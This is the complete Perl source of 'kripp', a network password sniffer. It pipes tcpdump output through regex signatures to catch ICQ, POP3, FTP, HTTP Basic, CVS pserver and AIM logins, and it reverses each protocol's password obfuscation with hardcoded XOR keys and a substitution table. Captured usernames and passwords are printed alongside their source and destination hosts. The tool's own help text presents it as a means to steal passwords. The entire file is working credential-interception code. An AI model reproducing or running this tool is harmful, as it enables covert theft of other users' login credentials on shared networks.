#!/usr/local/bin/perl

use IO::File;
use MIME::Base64;

glob @nets;

glob $kripp_version = "0.6.1";
glob $ninterface;

my $netparams = {
    icq => {
	tcpdump => "dst host login.icq.com",
	signature => '\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)',
	ignore_case => 0
    },
    pop3 => {
	tcpdump => "port pop3",
	signature => '\+OK.*\n.*user\s+([^\n\r]+).+\+OK.*\n.*pass\s+([^\n\r]+).+\+OK',
	ignore_case => 1
    },
    ftp => {
	tcpdump => "port ftp",
	signature => '220.+\n.*user\s+([^\n\r]+).*331.+\n.*pass\s+([^\n\r]+).+230',
	ignore_case => 1
    },
    http => {
	tcpdump => "port http",
	signature => '\s+HTTP/.+\nAuthorization:\s+(Basic)\s+(.+)[\r]*\n|\s+HTTP/.+\nAuthorization:\s+(User)\s+(.+)[\r]*\n',
	ignore_case => 0
    },
    cvs => {
	tcpdump => "port cvspserver",
	signature => 'BEGIN VERIFICATION REQUEST\n(.+\n.+)\n(.+)\nEND VERIFICATION REQUEST\nI LOVE YOU\n',
	ignore_case => 0
    },
    aim => {
	tcpdump => "dst host toc.oscar.aol.com",
	signature => 'toc_signon [^\s]+ \d+ "([^"]+)" "([^"]+)" ',
	ignore_case => 0
    }
};

sub createnet {
    if(`which tcpdump 2>&1` =~ m/no .+ in /) {
	print "tcpdump(8) is needed to run kripp, please also make sure it's on your PATH\n";
	exit;
    }

    my ($name) = @_;
    my $tdi;

    $un = `uname`;
    chomp $un;

    $tdi = "-i any" if $un eq "Linux";
    $tdi = "-i $ninterface" if not $ninterface eq "";

    my $fh = new IO::File;
    my $command = "tcpdump -x -s 0 ".$tdi." -l -e '".$netparams->{$name}->{tcpdump}."' 2>/dev/null |";

    $fh->open($command)
	or die "cannot run tcpdump(8) for $name";

    my $net = {
	name => $name,
	buf => {},
	handle => $fh
    };

    push(@nets, $net);
}

sub decryptpassword {
    my ($service, $login, $pass) = @_;

    if($service eq "icq") {
	my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";
	my $res = "";

	for(my $i = 0; $i < length($pass); $i++) {
	    $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));
	}
	$pass = $res;

    } elsif($service eq "aim") {
	my $xorseq = "Tic/TocTic/TocTic/TocTic/Toc";
	my $res = "";

	substr($pass, 0, 2) = "";
	for(my $i = 0; $i < length($pass); $i += 2) {
	    $res .= chr(hex(substr($pass, $i, 2)));
	}

	$pass = $res;
	$res = "";

	for(my $i = 0; $i < length($pass); $i++) {
	    $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));
	}

	$pass = $res;

    } elsif($service eq "http") {
	if($login eq "Basic") {
	    $pass = decode_base64($pass);
	}

	if($pass =~ m/^(.+):(.+)$/) {
	    $login = $1;
	    $pass = $2;
	}
    } elsif($service eq "cvs") {

	my @shifts = (
	    0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
	    16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
	    114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
	    111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
	    41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
	    125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
	    36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
	    58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
	    225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
	    199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
	    174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
	    207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
	    192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
	    227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
	    182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
	    243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 );

	if($login =~ m/^(.+)\n(.+)$/) {
	    $login = "$2, $1";
	}

	my $res = "";

	for(my $i = 1; $i < length($pass); $i++) {
	    $res .= chr($shifts[ord(substr($pass, $i, 1))]);
	}
	$pass = $res;

    }

    return ($login, $pass);
}

sub version {
    print "
KRIPP: Kripp is Rest In Peace, Privacy; version $kripp_version
Creepy enough to steal your password (tm)
http://konst.org.ua/kripp/
";
}

sub usage {
    version;
    print "
Usage: $0 [ -i <interface> ] [ <net1> <net2> ... ]

The --help and --version parameters work as usual,
and --interface is an alias for -i.

\"Net\" parameters can be icq, pop3, ftp, http, aim or cvs, i.e. protocols
the program should steal passwords from. No parameters means all
of the known networks.

NOTE: kripp will work only from root account.

";
}

while(@ARGV) {
    $_ = $ARGV[0];

    if($netparams->{$_}) {
	createnet($_);
    } elsif($_ eq "--help" or $_ eq "-h") {
	usage; exit;
    } elsif($_ eq "--version" or $_ eq "-v") {
	version; exit;
    } elsif($_ eq "--interface" or $_ eq "-i") {
	shift @ARGV;
	$ninterface = $ARGV[0];
    } else {
	print "Unrecognized parameter: $_\n";
	usage;
	exit;
    }

    shift @ARGV;
}

if($#nets == -1) {
    foreach(keys %$netparams) {
	createnet($_);
    }
}

print "Protocols being kripped:";
foreach(@nets) { print " ", $_->{name}; }
print "\n";

my ($hostFrom, $hostTo, $rin, $rout, $nextnet);
my ($paccept, $nextdatalen, $packet) = (0, 0, "");

while($#nets >= 0) {
    for(my $i = 0; $i <= $#nets; $i++) {
	vec($rin, $nets[$i]->{handle}->fileno, 1) = 1;
    }

    select($rout=$rin, undef, undef, undef);

    for(my $i = 0; $i <= $#nets; $i++) {
	$name = $nets[$i]->{name};

	if(vec($rout, $nets[$i]->{handle}->fileno, 1)) {
	    if($nets[$i]->{handle}->eof) {
		print "$name has died\n";
		splice @nets, $i, 1;

	    } else {
		$line = $nets[$i]->{handle}->getline;
		chomp $line;

		if($line =~ m/^[\d:.]+ ([<>]) [\w:]+ .+: (IP |)([\w.-]+) [<>] ([\w.-]+): (.+)$/) {
		    if($nextdatalen) {
			substr($packet, 0, length($packet)-$nextdatalen) = "";
			$nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} .= $packet;
			$nextname = $nets[$nextnet]->{name};

			($packet, $nextdatalen) = ("", 0);

			if(($netparams->{$nextname}->{ignore_case} and ($nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} =~ m/$netparams->{$nextname}->{signature}/is))
			or (!$netparams->{$nextname}->{ignore_case} and ($nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} =~ m/$netparams->{$nextname}->{signature}/s))) {
			    ($login, $password) = decryptpassword($nextname, $1, $2);
			    print "$nextname password :: $hostFrom -> $hostTo :: $login :: $password\n";
			    $nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} = "";
			}
		    }

		    my $pt;

		    if($1 eq ">") {
			($hostFrom, $hostTo, $pt) = ($3, $4, $5);
		    } else {
			($hostFrom, $hostTo, $pt) = ($4, $3, $5);
		    }

		    $hostFrom =~ s/\.[\w]+$//;
		    $hostTo =~ s/\.[\w]+$//;

		    $paccept = 0;

		    if($pt =~ m/P \d+:\d+\((\d+)\)/) {
			($paccept, $nextdatalen, $nextnet) = (1, $1, $i);
		    }

		} elsif($paccept and ($line =~ m/^([\s\w]+)$/ or $line =~ m/^\s*[\d\wx:]+\s+([\d\s\w]+)\s\s/)) {
		    $line = $1;
		    $line =~ s/\s//g;

		    while(length($line) > 0) {
			my $c = chr(hex(substr($line, 0, 2)));
			substr($line, 0, 2) = "";
			$packet .= $c;
		    }
		}
	    }
	}
    }
}